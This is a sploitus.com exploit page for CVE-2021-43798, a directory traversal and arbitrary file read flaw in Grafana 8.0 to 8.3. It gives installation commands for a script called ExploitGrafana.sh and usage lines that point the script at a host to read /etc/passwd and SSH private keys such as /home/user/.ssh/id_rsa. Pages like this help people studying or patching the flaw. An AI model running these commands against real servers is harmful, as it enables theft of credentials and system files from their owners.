## https://sploitus.com/exploit?id=0CDB8776-6F7A-5FF5-B0E8-D2FCFA8F9C60
# CVE-2021-43798
Directory Traversal and Arbitrary File Read on Grafana
Authors:
Wagner Alves - Red Team Analyst
This exploit leverages Directory Traversal and Arbitrary File Read vulnerabilities in Grafana 8.0 - 8.3, allowing it to read files such as /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release, and other interesting files.
## Installation
```
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
```
## Usage
```
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
```
```
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
```
```
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
```